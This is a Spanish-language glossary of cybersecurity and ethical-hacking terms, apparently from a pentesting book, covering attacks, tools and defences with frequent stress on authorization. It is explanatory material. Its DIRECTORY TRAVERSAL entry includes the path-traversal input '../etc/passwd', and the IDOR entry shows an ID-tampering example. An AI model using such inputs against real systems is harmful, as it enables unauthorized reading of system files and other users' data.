CORTAFUEGOS (FIREWALL): sistema que filtra el trafico de red segun reglas, permitiendo o bloqueando conexiones. Es la primera línea de defensa perimetral y también existe en cada equipo (host-based).

CREDENTIAL STUFFING: ataque automatizado que prueba listas de usuarios y contraseñas robadas de otras filtraciones en un servicio distinto, aprovechando que la gente reutiliza claves. Se mitiga con MFA y monitoreo de logins anómalos.

CRIPTOGRAFIA: ciencia de proteger la información mediante cifrado, hashes y firmas digitales. Es el fundamento de la confidencialidad y la integridad en sistemas.

CSRF (Cross-Site Request Forgery): ataque que engaña al navegador de una víctima autenticada para que ejecute acciones no deseadas en un sitio (como cambiar su correo). Se previene con tokens anti-CSRF y SameSite en cookies.

CVE (Common Vulnerabilities and Exposures): identificador público y único para cada vulnerabilidad conocida (ej: CVE-2024-1234). Es el lenguaje común para hablar de fallos de seguridad.

CVSS (Common Vulnerability Scoring System): sistema que califica la gravedad de una vulnerabilidad de 0 a 10 segun su impacto y facilidad de explotación. Ayuda a priorizar que parchear primero.

Glosario D-G

DAEMON: proceso que corre en segundo plano en sistemas Unix/Linux ofreciendo un servicio (como el servidor web o SSH). En hardening se desactivan los daemons innecesarios para reducir la superficie de ataque.

DDoS (Distributed Denial of Service): ataque que satura un servicio con trafico desde miles de equipos a la vez, dejandolo fuera de línea. La defensa incluye CDNs, filtrado y planes de respuesta.

DEFENSA EN PROFUNDIDAD: estrategia de colocar varias capas de seguridad (firewall, IDS, MFA, cifrado) para que si una falla, las demas sigan protegiendo. Ningun control es perfecto por si solo.

DESINFECCION (Sanitizacion de entradas): técnica de limpiar y validar los datos que introduce el usuario antes de procesarlos. Es la defensa principal contra inyección SQL y XSS.

DHCP: protocolo que asigna automáticamente direcciones IP a los equipos de una red. En auditorías internas se revisa porque un DHCP falso puede redirigir el tráfico (ataque de suplantación).

DICIONARIO (Ataque de): ataque que prueba contraseñas usando una lista de palabras comunes y combinaciones conocidas. Es más rápido que la fuerza bruta pura y por eso las claves tipo "123456" caen en segundos.

DIRECCION IP: identificador numérico de un equipo en una red (ej: 192.168.1.10). Puede ser pública (visible en internet) o privada (solo dentro de la red local).

DIRECCION MAC: identificador físico único de la tarjeta de red de un equipo. Se puede falsificar (spoofing), así que no sirve como método de autenticación confiable.

DMZ (Zona desmilitarizada): segmento de red separado donde se colocan los servidores públicos (web, correo) para aislarlos de la red interna. Si un servidor de la DMZ cae, el atacante no llega directo a la LAN.

DNS (Domain Name System): sistema que traduce nombres de dominio (ejemplo.com) a direcciones IP. En auditorías se analiza por fugas de información (zone transfer) y envenenamiento de cache.

DNS SPOOFING: técnica que falsifica respuestas DNS para redirigir a la víctima a un sitio falso. Se combate con DNSSEC y monitoreo.

DOS (Denial of Service): ataque que deja un servicio inaccesible saturándolo o explotando un fallo. Es la versión de un solo origen del DDoS.

DORK (Google Dorking): búsqueda avanzada en Google con operadores especiales (site:, filetype:) para encontrar información expuesta accidentalmente. Es una técnica clásica de reconocimiento pasivo y totalmente legal si solo se consulta información pública.

DOXING: publicación de datos personales de alguien sin su consentimiento. Es ilegal y no ético; el auditor nunca lo practica ni lo facilita.

DRIVER: programa que permite al sistema operativo comunicarse con el hardware. Los drivers desactualizados pueden tener vulnerabilidades explotables.

ENCRIPTACION: ver CIFRADO. (En español técnico se prefiere "cifrado"; "encriptación" es un anglicismo muy extendido.)

ENUMERACION: fase del pentest donde se extrae información detallada de los servicios detectados: usuarios, recursos compartidos, versiones. Es más profunda que el escaneo.

ESCALADA DE PRIVILEGIOS: técnica para obtener más permisos de los asignados (de usuario normal a administrador, por ejemplo). Es una fase típica del pentest y un hallazgo crítico en informes.

ESCANEO DE PUERTOS: técnica para descubrir que puertos TCP/UDP están abiertos en un objetivo. Nmap es la herramienta estándar. Solo se hace con autorización escrita del dueño del sistema.

ESCANEO DE VULNERABILIDADES: análisis automatizado que compara los servicios detectados contra bases de datos de fallos conocidos (CVE). Nessus y OpenVAS son las herramientas típicas. Genera falsos positivos que hay que verificar a mano.

EVIL TWIN (Gemelo malvado): punto de acceso Wi-Fi falso que imita una red legítima (mismo SSID) para interceptar el tráfico de quienes se conectan. La defensa: verificar certificados y evitar redes abiertas.

EXFILTRACION: extracción no autorizada de datos de una organización. Detectarla a tiempo es trabajo del blue team mediante monitoreo de tráfico saliente.

EXPLOIT: código o técnica que aprovecha una vulnerabilidad para conseguir un efecto no deseado (acceso, escalado, etc.). En el pentest autorizado se usan exploits para DEMOSTRAR el riesgo, nunca para dañar.

FALSOS POSITIVOS: alertas de una herramienta que señalan una vulnerabilidad que en realidad no existe. Por eso el auditor siempre verifica manualmente los hallazgos automáticos antes de reportarlos.

FALSOS NEGATIVOS: vulnerabilidades reales que la herramienta NO detecta. Son más peligrosos que los falsos positivos; por eso el escaneo automático se complementa con pruebas manuales.

FAIL2BAN: herramienta que bloquea automáticamente IPs con demasiados intentos fallidos de login. Es un clásico del hardening en servidores Linux expuestos a internet.

FIDO2: estándar de autenticación sin contraseñas basado en hardware (llaves de seguridad). Es resistente al phishing porque la clave privada nunca sale del dispositivo.

FIREWALL: ver CORTAFUEGOS.

FIRMWARE: software básico grabado en el hardware de un dispositivo (router, BIOS). Actualizarlo es parte del hardening; un firmware viejo puede tener puertas traseras conocidas.

FISHING: ver PHISHING.

FOOTPRINTING: ver HUELLA DIGITAL (reconocimiento).

FTP: protocolo antiguo para transferir archivos, que envia credenciales en texto plano. En auditorias se recomienda sustituirlo por SFTP o FTPS.

FUERZA BRUTA: ver BRUTE FORCE.

GESTOR DE CONTRASEÑAS: aplicacion que guarda todas las contraseñas cifradas bajo una clave maestra (ej: KeePass, Bitwarden). Es la forma recomendada de manejar decenas de claves unicas y fuertes.

GRAY HAT (Hacker de sombrero gris): hacker que actua sin autorizacion pero sin intencion danina (ej: avisa al dueño tras entrar). Sigue siendo ilegal en la mayoria de paises: sin permiso escrito, no hay hacking etico.

GRUPO (en sistemas): conjunto de usuarios con permisos comunes en un sistema operativo. Revisar pertenencias a grupos privilegiados es básico en una auditoria interna.

Glosario A-G: terminos adicionales

ACTIVE DIRECTORY: servicio de directorio de Microsoft que centraliza usuarios, equipos y permisos en redes Windows. Es el objetivo número uno en auditorias internas.

ADWARE: software que muestra publicidad no deseada y a veces espia al usuario. Suele colarse con programas "gratis".

ANALISIS DE TRAFICO: examen del trafico de red para detectar patrones anomalos, exfiltracion o malware. Wireshark y Zeek son herramientas tipicas.

API (Interfaz de programacion): conjunto de reglas para que dos programas se comuniquen. Las APIs expuestas sin autenticacion son un hallazgo frecuente.

ARP: protocolo que relaciona direcciones IP con direcciones MAC en una red local. El ARP spoofing permite ataques Man-in-the-Middle en la LAN.

ATAQUE DE CANAL LATERAL: ataque que deduce secretos (como claves) observando efectos indirectos: tiempo de respuesta, consumo electrico o sonido. Difícil de ejecutar, difícil de defender.

AUDITORIA DE SEGURIDAD: revision sistematica de sistemas, politicas y controles para verificar que cumplen los estandares. El pentest es un tipo de auditoria técnica.

AUTENTICACION DE DOS FACTORES (2FA): ver MFA. (2FA es el caso más común: contraseña + código.)

BASTION HOST: servidor endurecido y monitoreado que sirve como único punto de acceso administrativo a una red. Reduce la exposición del SSH/RDP.

BEC (Business Email Compromise): fraude donde el atacante suplanta a un ejecutivo o proveedor por correo para ordenar transferencias. Causa pérdidas millonarias; se previene con verificación por otro canal y MFA.

BIOMETRIA: autenticación por rasgos físicos (huella, rostro). Comoda pero no secreta: si se filtra, no se puede "cambiar" como una contraseña.

BLOCKCHAIN (Cadena de bloques): registro distribuido e inmutable de transacciones, base de las criptomonedas. En seguridad interesa por su integridad criptográfica, no como solución mágica.

BOT: programa automatizado que ejecuta tareas en internet. Los hay legítimos (indexadores) y maliciosos (los de una botnet).

BYPASS: técnica para saltarse un control de seguridad (un WAF, un login, un antivirus). Probar bypasses autorizados es parte del pentest.

CAJA BLANCA: pentest donde el auditor recibe información total del objetivo (código, credenciales, diagramas). Es el más exhaustivo.

CAJA GRIS: pentest con información parcial, simulando un atacante interno o un usuario con acceso limitado.

CAJA NEGRA: pentest sin información previa, simulando un atacante externo real. Es el más realista pero el más lento.

CERTIFICADO AUTOFIRMADO: certificado TLS firmado por uno mismo, no por una CA reconocida. Genera advertencias en el navegador; útil solo en laboratorios.

CIBERDELITO: delito cometido usando sistemas o redes: fraude, extorsión, robo de datos. El hacking ético existe precisamente para prevenirlo.

CIBERHIGIENE: hábitos básicos de seguridad: actualizar, usar MFA, no reutilizar claves, desconfiar de adjuntos. Lo básico bien hecho frena la mayoría de ataques.

CIBERRESILIENCIA: capacidad de una organización para seguir operando durante y después de un ciberataque. Incluye respaldos, planes de respuesta y redundancia.

CIFRADO DE DISCO: cifrado completo del disco duro (LUKS, BitLocker) para que los datos sean ilegibles si roban el equipo. Obligatorio en laptops con información sensible.

CIFRADO DE EXTREMO A EXTREMO: cifrado donde solo emisor y receptor pueden leer el mensaje, ni el proveedor del servicio. Base de la mensajería segura moderna.

COMANDO Y CONTROL (C2): infraestructura que usa el atacante para dirigir el malware ya instalado. Detectar conexiones C2 es trabajo del SOC.

COMPLIANCE (Cumplimiento): adecuación a normas y leyes (ISO 27001, PCI DSS, leyes de protección de datos). Las auditorías verifican el cumplimiento técnico.

CONFIDENCIALIDAD: principio de que la información solo sea accesible para quien está autorizado. Junto con integridad y disponibilidad forma la triada CIA.

CONTENEDOR: paquete ligero que aísla una aplicación y sus dependencias (Docker). Aislar servicios en contenedores limita el daño de una intrusión.

COOKIES DE SESIÓN: cookies que identifican la sesión activa del usuario. Robarlas equivale a robar la sesión: por eso llevan atributos Secure y HttpOnly.

CRACKING: romper protecciones de software o contraseñas con fines no autorizados. El auditor usa las mismas técnicas solo con permiso y para demostrar el riesgo.

CREDENCIAL: conjunto de datos que acredita identidad: usuario + contraseña, token, certificado. Proteger las credenciales es proteger las llaves del reino.

CRIPTOJACKING: malware que usa el equipo de la víctima para minar criptomonedas sin su permiso. Se nota por el ventilador a tope y el equipo lento.

DAST (Dynamic Application Security Testing): pruebas de seguridad a una aplicación EN EJECUCIÓN (como hace Burp o Nikto). Complementa al análisis estático del código (SAST).

DATOS SENSIBLES: información que requiere protección especial: contraseñas, datos bancarios, datos personales. Su inventario es el primer paso de cualquier programa de seguridad.

DESAUTENTICACIÓN: ataque Wi-Fi que expulsa clientes de una red para capturar el handshake de reconexión. Solo se prueba en redes propias.

DIRECTORIO ACTIVO: ver ACTIVE DIRECTORY.

DIRECTORY TRAVERSAL: vulnerabilidad web que permite salir del directorio permitido y leer archivos del sistema (../etc/passwd). Se previene validando rutas.

DISPONIBILIDAD: principio de que los sistemas y datos esten accesibles cuando se necesiten. Los ataques DDoS atentan directamente contra ella.

DNS SOBRE HTTPS (DoH): DNS cifrado dentro de HTTPS para evitar espionaje. Mejora la privacidad pero puede cegar los controles de seguridad de la empresa.

DOMINIO: nombre que identifica un sitio en internet (ejemplo.com). Incluye el TLD (.com, .mx) y se gestiona via registradores; su robo es un riesgo real.

EDR (Endpoint Detection and Response): antivirus de nueva generacion que detecta comportamientos sospechosos en cada equipo y permite responder remotamente. Estandar en empresas.

EVASION: tecnicas para que el malware no sea detectado por antivirus o EDR (ofuscacion, cifrado del payload). Conocerlas ayuda a disenar mejores detecciones.

EXPLOIT KIT: paquete que automatiza la explotacion de vulnerabilidades en navegadores desactualizados. Casi extinto gracias a las actualizaciones automaticas.

FINGERPRINTING: identificacion de un sistema o dispositivo por sus caracteristicas unicas (cabeceras, respuestas TCP). Nmap y WhatWeb hacen fingerprinting.

FUGA DE INFORMACION: exposicion accidental de datos sensibles: backups publicos, repositorios con claves, mensajes de error verbosos. El OSINT la encuentra.

GESTION DE PARCHES: proceso organizado de probar y aplicar actualizaciones en toda la organizacion. Sin gestion de parches, las vulnerabilidades se acumulan meses.

GESTION DE VULNERABILIDADES: ciclo continuo de detectar, priorizar, corregir y verificar vulnerabilidades. El pentest es una foto; la gestion es la pelicula.

GUSANO (Worm): malware que se replica solo por la red sin intervencion del usuario. Famosos: WannaCry, que exploto sistemas sin parchear.

Glosario H-L

HACKER: persona con conocimientos tecnicos avanzados de sistemas y redes. La palabra en si es neutral: lo que la define como buena o mala es la autorizacion y la intencion.

HACKER DE SOMBRERO BLANCO (White hat): hacker etico que trabaja CON autorizacion para encontrar y corregir vulnerabilidades. Es el perfil profesional de este libro.

HACKER DE SOMBRERO NEGRO (Black hat): ciberdelincuente que explota vulnerabilidades para robar, extorsionar o danar. Es el adversario contra el que se defiende.

HACKING ÉTICO: práctica de probar la seguridad de sistemas con autorización explícita del dueño, siguiendo reglas acordadas y reportando los hallazgos para corregirlos. Es legal y es una profesión.

HARDENING (Endurecimiento): proceso de asegurar un sistema reduciendo su superficie de ataque: desactivar servicios innecesarios, aplicar parches, configurar contraseñas fuertes y activar registros. Guías de referencia: CIS Benchmarks.

HASH: función que convierte datos en una cadena de longitud fija e irreversible (ej: SHA-256). Se usa para guardar contraseñas: el sistema compara hashes, nunca la clave en claro.

HONEYPOT: sistema o servicio falso que simula ser vulnerable para atraer atacantes y estudiar sus técnicas. Es una herramienta defensiva de detección temprana.

HOST: cualquier equipo conectado a una red (computadora, servidor, impresora). En Nmap, "host discovery" es la fase de encontrar hosts activos.

HTTP: protocolo de transferencia de hipertexto, la base de la web. Viaja en texto plano: cualquiera en la red puede leerlo.

HTTPS: versión segura de HTTP que cifra el tráfico con TLS. Hoy es obligatorio en cualquier sitio que pida datos al usuario.

HUELLA DIGITAL (Footprinting): primera fase del reconocimiento: recolectar toda la información pública posible sobre el objetivo (dominios, empleados, tecnologías) sin tocar sus sistemas.

HYDRA: herramienta de fuerza bruta en línea para probar credenciales contra servicios (SSH, FTP, HTTP, etc.). En auditorías autorizadas sirve para medir la resistencia de las contraseñas.

IDS (Intrusion Detection System): sistema que DETECTA intrusiones analizando el tráfico y genera alertas. No bloquea por sí solo; es el "radar" de la red.

INFORME DE AUDITORIA: documento final del pentest con el resumen ejecutivo, la metodología, los hallazgos clasificados por severidad, la evidencia y las recomendaciones de remediación. Es el entregable más importante: un hallazgo sin informe es como si no existiera.

INGENIERIA SOCIAL: arte de manipular personas para que revelen información o den acceso. Es el eslabón más débil de la seguridad y la vía de entrada del 80% de los ataques.

INYECCION SQL (SQLi): vulnerabilidad que permite inyectar comandos SQL maliciosos en una aplicacion web para leer o modificar la base de datos. Se previene con consultas parametrizadas y validacion de entradas.

IPS (Intrusion Prevention System): sistema que además de detectar, BLOQUEA el trafico malicioso automaticamente. Es el "escudo" que acompaña al IDS.

JOHN THE RIPPER (John): herramienta clasica para auditar la fortaleza de hashes de contraseñas mediante diccionario y reglas. Se usa sobre hashes obtenidos legalmente en la auditoria para demostrar claves debiles.

JWT (JSON Web Token): formato de token para sesiones en aplicaciones modernas. En auditorias web se revisa su firma, expiracion y almacenamiento, porque un JWT mal configurado permite suplantar usuarios.

KALI LINUX: distribucion de Linux especializada en auditoria de seguridad, con cientos de herramientas preinstaladas (Nmap, Metasploit, Burp, etc.). Es el sistema estandar del pentester.

KERBEROS: protocolo de autentificacion usado en redes Windows/Active Directory basado en tickets. En auditorias internas se revisan ataques clasicos como el robo de tickets (Pass-the-Ticket).

KEYLOGGER: malware que registra las teclas pulsadas para robar contraseñas. Se detecta con antivirus actualizado y buenas prácticas de descarga.

LAN (Local Area Network): red de area local, como la de una oficina o casa. Las auditorias internas se hacen dentro de la LAN del cliente.

LATENCIA: tiempo que tarda un paquete en ir y volver por la red. Una latencia anormal puede indicar tuneles o exfiltracion de datos.

LDAP: protocolo para acceder a directorios de usuarios (como Active Directory). Exponer LDAP a internet sin proteccion es un hallazgo grave en auditorias.

LLAVE PUBLICA / PRIVADA: par de claves del cifrado asimetrico. La publica se comparte; la privada se guarda en secreto. Perder la privada equivale a perder la identidad digital.

LOG (Registro): archivo donde el sistema anota eventos (accesos, errores, intentos fallidos). Revisar logs es la base de la deteccion de incidentes; sin logs no hay investigacion posible.

Glosario M-P

MALWARE: software malicioso en general: virus, gusanos, troyanos, ransomware, spyware. La defensa combina antivirus, parches, copias de seguridad y educacion del usuario.

MAN IN THE MIDDLE (MitM, Hombre en el medio): ataque donde el intruso se interpone entre dos partes que se comunican para espiar o modificar el trafico. Se previene con cifrado (TLS) y verificacion de certificados.

MFA (Autenticacion multifactor): exigir dos o más factores para entrar (contraseña + codigo del celular, por ejemplo). Es la defensa más efectiva y barata contra el robo de credenciales.

METASPLOIT: framework para desarrollar y ejecutar exploits en auditorias autorizadas. Incluye miles de modulos y la base de datos de vulnerabilidades se actualiza constantemente. Su uso exige permiso escrito.

Mínimo PRIVILEGIO: principio de dar a cada usuario y proceso solo los permisos estrictamente necesarios para su trabajo. Reduce drasticamente el dano si una cuenta es comprometida.

MITRE ATT&CK: matriz publica que clasifica las tacticas y tecnicas de los atacantes reales. Los blue teams la usan para disenar detecciones y los auditores para estructurar pruebas.

MODELO OSI: modelo de 7 capas que describe como viaja la informacion en red (fisica, enlace, red, transporte, sesion, presentacion, aplicacion). Sirve para ubicar donde ocurre cada problema de seguridad.

MONITOREO: vigilancia continua de sistemas y redes para detectar actividad anomala. Sin monitoreo, un intruso puede pasar meses dentro sin ser descubierto.

NAT: técnica que permite a varios equipos compartir una sola IP publica. Oculta la red interna, pero no es un mecanismo de seguridad por si mismo.

NESSUS: escaner de vulnerabilidades comercial muy usado en auditorias profesionales. Detecta miles de CVEs, configuraciones debiles y parches faltantes; sus reportes requieren verificacion manual.

NMAP: la herramienta estandar para descubrir hosts, puertos abiertos y servicios en una red. Todo auditor la domina: es rapida, precisa y gratuita.

NODO: cualquier punto de conexion en una red. En informes se usa como sinonimo de host o equipo.

OPENVAS: escaner de vulnerabilidades de código abierto, alternativa gratuita a Nessus. Ideal para aprender y para auditorías con presupuesto limitado.

OSINT (Open Source Intelligence): inteligencia basada en fuentes abiertas y públicas: redes sociales, registros de dominios, buscadores. Es la base del reconocimiento pasivo y es 100% legal.

PARCHE: actualización que corrige una vulnerabilidad o error en el software. Mantener todo parcheado es la medida defensiva con mejor relación costo-beneficio que existe.

PASSKEYS: credenciales modernas sin contraseña basadas en el estándar FIDO2, guardadas en el dispositivo del usuario y verificadas con biometría o PIN. Resistentes al phishing por diseño.

PASSWORD SPRAYING: ataque que prueba POCAS contraseñas comunes contra MUCHAS cuentas, para no activar los bloqueos por intentos. Se defiende con MFA y políticas de bloqueo inteligentes.

PAYLOAD: carga útil de un exploit: el código que se ejecuta tras aprovechar la vulnerabilidad (por ejemplo, abrir una sesión remota). En pentest autorizado solo se usan payloads no destructivos.

PENTEST (Prueba de penetración): simulación controlada de un ataque real, con autorización, para encontrar vulnerabilidades antes que los delincuentes. Sigue fases: reconocimiento, escaneo, explotación, post-explotación e informe.

PERIMETRO: frontera entre la red interna y el exterior (internet). El firewall perimetral es su guardian, pero el modelo moderno (zero trust) asume que el perímetro ya no basta.

PHISHING: correo o mensaje fraudulento que suplanta una entidad confiable para robar credenciales o instalar malware. Es la técnica de ingeniería social más usada del mundo.

PING: utilidad que envía paquetes ICMP para comprobar si un host responde. Es lo más básico del reconocimiento de red, aunque muchos firewalls lo bloquean.

POLÍTICA DE SEGURIDAD: documento que define las reglas de seguridad de la organización: contraseñas, uso de equipos, respuesta a incidentes. Sin política escrita, la seguridad depende de la buena voluntad.

POST-EXPLOTACIÓN: fase del pentest posterior a conseguir acceso: se mide el alcance real del compromiso (qué datos se podrían robar, a qué sistemas se llega) sin causar daño.

PRETEXTING: ingeniería social basada en inventar un pretexto creíble (fingir ser soporte técnico, un proveedor, un jefe) para que la víctima entregue información o acceso.

PRIVILEGIO: nivel de permiso sobre un sistema o dato. La escalada de privilegios y el mínimo privilegio son dos caras de la misma moneda en auditoria.

PROTOCOLO: conjunto de reglas que define como se comunican los equipos (TCP, HTTP, DNS...). Conocer los protocolos es obligatorio para entender que se ve en un analisis de trafico.

PROXY: intermediario entre el cliente y el servidor. Burp Suite funciona como proxy para auditar trafico web; un proxy también puede filtrar contenido o anonimizar.

PUERTO: número lógico (0-65535) que identifica un servicio dentro de un equipo (ej: 80 para HTTP, 443 para HTTPS, 22 para SSH). Los puertos abiertos innecesarios son la puerta de entrada más común.

PUERTA TRASERA: ver BACKDOOR.

PURPLE TEAM: colaboracion entre red team y blue team para mejorar las defensas compartiendo tecnicas de ataque y deteccion en tiempo real. Es el ejercicio más formativo para una organizacion madura.

Glosario R-Z

RANSOMWARE: malware que cifra los archivos de la victima y exige un rescate para liberarlos. La defensa real: respaldos 3-2-1 probados, parches al dia y educacion anti-phishing. Nunca se recomienda pagar.

RED TEAM: equipo que simula ser el ATACANTE en ejercicios autorizados: intenta vulnerar los sistemas usando tacticas reales. Su objetivo no es "ganar", sino enseñar al blue team donde estan los puntos ciegos.

REGLA 3-2-1: estrategia de respaldos: 3 copias de los datos, en 2 tipos de medios distintos, con 1 copia fuera del sitio (offsite). Es el estandar de oro contra ransomware y desastres.

REPORTE: ver INFORME DE AUDITORIA.

RE-TEST (Reprueba): verificacion posterior donde el auditor comprueba que las vulnerabilidades reportadas ya fueron corregidas. Cierra el ciclo: hallazgo, remediacion, re-test.

RESPALDO: ver BACKUP.

RIESGO: combinacion de la probabilidad de que una amenaza explote una vulnerabilidad y el impacto que causaria. La gestion de riesgos decide que se corrige primero segun severidad e impacto al negocio.

ROOT: usuario administrador máximo en Linux/Unix, con control total del sistema. Conseguir acceso root es el objetivo típico de la escalada de privilegios.

ROOTKIT: malware diseñado para ocultar su presencia y la del atacante en el sistema. Es difícil de detectar y a veces obliga a reinstalar el equipo desde cero.

SALT: valor aleatorio que se agrega a cada contraseña antes de calcular su hash, para que dos claves iguales generen hashes distintos. Impide los ataques con tablas precalculadas (rainbow tables).

SANDBOX: entorno aislado donde se ejecuta software sospechoso sin riesgo para el sistema real. Los antivirus modernos analizan archivos desconocidos en sandbox automaticamente.

SEGMENTACION DE RED: division de la red en segmentos aislados (VLANs, subredes) para contener intrusiones. Si un segmento cae, el atacante no salta libremente a los demas.

SERVIDOR: equipo que provee servicios a otros (web, correo, archivos). Endurecer los servidores expuestos a internet es prioridad número uno del hardening.

SESION: periodo de interaccion autenticada entre usuario y sistema. El secuestro de sesion (robar la cookie de sesion) es un ataque web clásico que se previene con cookies seguras y HTTPS.

SEVERIDAD: nivel de gravedad de un hallazgo en el informe: critica, alta, media, baja e informativa. Se basa en el CVSS ajustado al contexto del negocio del cliente.

SHODAN: buscador especializado en dispositivos conectados a internet (camaras, routers, servidores). Es OSINT: muestra lo que esta expuesto, y sirve para auditar la propia exposicion.

SIEM: sistema que centraliza y correlaciona logs de toda la organizacion para detectar incidentes. Es el "cerebro" del SOC.

SMISHING: phishing por SMS: mensajes de texto fraudulentos con enlaces maliciosos o peticiones urgentes. La defensa es la misma que contra el phishing: desconfianza y verificacion por otro canal.

SNIFFING: captura del trafico de red para analizarlo. Wireshark es la herramienta reina. En redes propias sirve para diagnostico; en redes ajenas sin permiso es ilegal.

SNMP: protocolo para monitorear dispositivos de red. Con comunidades por defecto ("public"/"private") expone informacion sensible; en auditorias siempre se revisa.

SOC (Security Operations Center): centro de operaciones de seguridad donde analistas monitorean, detectan y responden a incidentes las 24 horas. Es el hogar del blue team.

SPEAR PHISHING: phishing dirigido a una persona concreta, personalizado con datos reales (nombre, puesto, proyectos). Mucho más efectivo que el phishing masivo y típico en ataques APT.

SPOOFING: suplantacion de identidad técnica: falsificar IP, MAC, correo o DNS para enganar. Casi todos los ataques de red empiezan con alguna forma de spoofing.

SQL: lenguaje para manejar bases de datos. Ver INYECCION SQL para su vulnerabilidad más famosa.

SSH: protocolo para administrar servidores de forma remota y cifrada (puerto 22). Buenas prácticas: desactivar login de root, usar llaves en vez de contraseñas y cambiar el puerto no sirve de mucho sin fail2ban.

SSID: nombre de una red Wi-Fi. Ocultarlo no da seguridad real (se descubre facil); lo que protege es WPA2/WPA3 con clave fuerte.

STEGANOGRAFIA: técnica de ocultar informacion dentro de archivos aparentemente inocentes (un mensaje dentro de una foto). Se usa tanto para exfiltrar datos como para ocultarlos.

SUBRED: division logica de una red IP que agrupa equipos con un proposito común. Entender subredes y mascarar es básico para mapear una red en auditoria.

TELNET: protocolo antiguo de administracion remota que envia TODO en texto plano, incluidas contraseñas. Hallarlo activo es un hallazgo directo: debe sustituirse por SSH.

THEHARVESTER: herramienta OSINT que recolecta correos, subdominios y nombres de empleados desde fuentes publicas. Perfecta para la fase de reconocimiento pasivo.

TOKEN: credencial temporal que representa una sesion o autorizacion (como un JWT). Si se roba, el atacante se hace pasar por el usuario hasta que expire.

TOTP (Time-based One-Time Password): codigo de un solo uso que cambia cada 30 segundos, generado por apps como Google Authenticator. Es el segundo factor más común del MFA.

TRAZABILIDAD: capacidad de reconstruir quien hizo que, cuando y desde donde, gracias a logs integros. Sin trazabilidad no hay investigacion forense seria.

TROYANO: malware disfrazado de programa legitimo. No se replica solo: necesita que la victima lo ejecute, tipicamente via phishing.

UFW (Uncomplicated Firewall): firewall simplificado para Linux, ideal para endurecer servidores rapidamente con reglas claras de permitir/denegar.

URL: direccion de un recurso en la web. En auditorias se analizan parametros de URL por inyecciones y manipulacion de accesos (IDOR).

VECTOR DE ATAQUE: camino o metodo que usa un atacante para llegar a su objetivo (phishing, puerto expuesto, USB infectado). El informe debe describir el vector de cada hallazgo.

VIRUS: malware que se adjunta a archivos o programas y se replica al ejecutarse. Hoy es solo una categoría dentro del malware moderno.

VISHING: phishing por VOZ: llamadas telefonicas fraudulentas donde el atacante suplanta bancos o soporte técnico. La defensa: colgar y llamar al número oficial.

VLAN: red de area local virtual que segmenta logicamente una red fisica. Es la herramienta base de la segmentacion de red.

VPN: red privada virtual que cifra un tunel entre el equipo y la red remota. Protege el trafico en redes no confiables y es obligatoria para administracion remota.

VULNERABILIDAD: debilidad en un sistema, configuracion o proceso que puede ser aprovechada por una amenaza. Encontrarlas y priorizarlas por severidad es el corazón del pentest.

WAF (Web Application Firewall): firewall especializado en proteger aplicaciones web filtrando peticiones maliciosas (SQLi, XSS). Es un control complementario, no un sustituto del codigo seguro.

WARDRIVING: recorrer zonas con un equipo en modo monitor para mapear redes Wi-Fi y su seguridad. Con fines de auditoria propia es legal; para atacar redes ajenas no.

WEP: protocolo de cifrado Wi-Fi antiguo y totalmente roto: se vulnera en minutos. Si aparece en una auditoria, es hallazgo crítico y debe migrarse a WPA2/WPA3.

WHALING: spear phishing dirigido a altos ejecutivos ("ballenas"): la presa de mayor valor. Suele combinarse con BEC para fraudes millonarios.

WHITE HAT: ver HACKER DE SOMBRERO BLANCO.

WIRESHARK: analizador de protocolos de red: captura y muestra el trafico paquete por paquete. Imprescindible para entender que pasa realmente en la red y para analizar incidentes.

WPA2: estandar de cifrado Wi-Fi actual y seguro si se usa con contraseña fuerte (AES). Su punto debil historico: claves debiles y el ataque KRACK (ya parcheado).

WPA3: sucesor de WPA2 con mejor proteccion contra ataques de diccionario y cifrado individual por cliente. Recomendado en toda instalacion nueva.

WPS: funcion para conectar dispositivos Wi-Fi con un PIN de 8 digitos, vulnerable a fuerza bruta (ataque con Reaver/Bully). Recomendacion de auditoria: desactivarlo siempre.

XSS (Cross-Site Scripting): vulnerabilidad web que permite inyectar scripts maliciosos en paginas vistas por otros usuarios, para robar sesiones o defacear. Se previene validando entradas y escapando salidas.

ZERO-DAY: vulnerabilidad desconocida por el fabricante, sin parche disponible, que los atacantes explotan antes de que exista defensa. Son las más peligrosas y cotizadas.

ZERO TRUST (Confianza cero): modelo de seguridad que no confia en nadie por defecto, ni dentro ni fuera de la red: cada acceso se verifica. Es la arquitectura moderna que reemplaza al viejo perimetro.

ZONA DESMILITARIZADA: ver DMZ.

Glosario H-Z: terminos adicionales

HASHCAT: herramienta de auditoria de contraseñas que usa la GPU para probar hashes a gran velocidad. Como John, solo se usa con autorizacion sobre hashes propios.

HIJACKING: secuestro de una sesion, conexion o proceso legitimo por parte del atacante. El session hijacking roba la sesion web activa de la victima.

HONEYNET: red completa de honeypots que simula una empresa para estudiar atacantes. Es investigacion defensiva avanzada.

IDOR (Insecure Direct Object Reference): vulnerabilidad donde cambiando un parametro (ej: /perfil?id=123 por id=124) se accede a datos de otros usuarios. Muy común en APIs mal disendadas.

IMAP: protocolo para leer correo en el servidor (puerto 143, 993 con TLS). Exponerlo sin cifrado filtra credenciales y mensajes.

INDICADOR DE COMPROMISO (IoC): evidencia de intrusion: una IP maliciosa, un hash de malware, un dominio de C2. Los SOC comparten IoCs para defenderse en conjunto.

INGENIERIA INVERSA: analizar un programa o malware para entender como funciona sin tener su codigo fuente. Técnica avanzada de analisis de malware.

INSIDER THREAT (Amenaza interna): riesgo que representan empleados o ex-empleados con acceso legitimo. Se mitiga con mínimo privilegio, monitoreo y baja ordenada de cuentas.

INTEGRIDAD: principio de que los datos no sean alterados sin autorizacion. Los hashes y las firmas digitales la garantizan. Completa la triada CIA con confidencialidad y disponibilidad.

INTERNET DE LAS COSAS (IoT): dispositivos conectados (camaras, focos, sensores) famosos por su pesima seguridad: claves por defecto y sin actualizaciones. Un riesgo silencioso en redes.

IP SPOOFING: falsificar la direccion IP de origen de los paquetes. Base de muchos ataques DDoS y de suplantacion.

IPv4 / IPv6: versiones del protocolo IP. IPv4 usa direcciones de 32 bits (escasean); IPv6 de 128 bits. El auditor debe manejar ambas.

JUICIO (en contexto legal): ver CADENA DE CUSTODIA. La evidencia digital solo sirve en juicio si su manejo fue documentado e integro.

KILL CHAIN: modelo de 7 fases de un ciberataque (reconocimiento, arma, entrega, explotacion, instalacion, comando y control, accion). Romper cualquier eslabon detiene el ataque.

LATERAL MOVEMENT (Movimiento lateral): desplazamiento del atacante dentro de la red ya comprometida, saltando de equipo en equipo. La segmentacion de red lo frena.

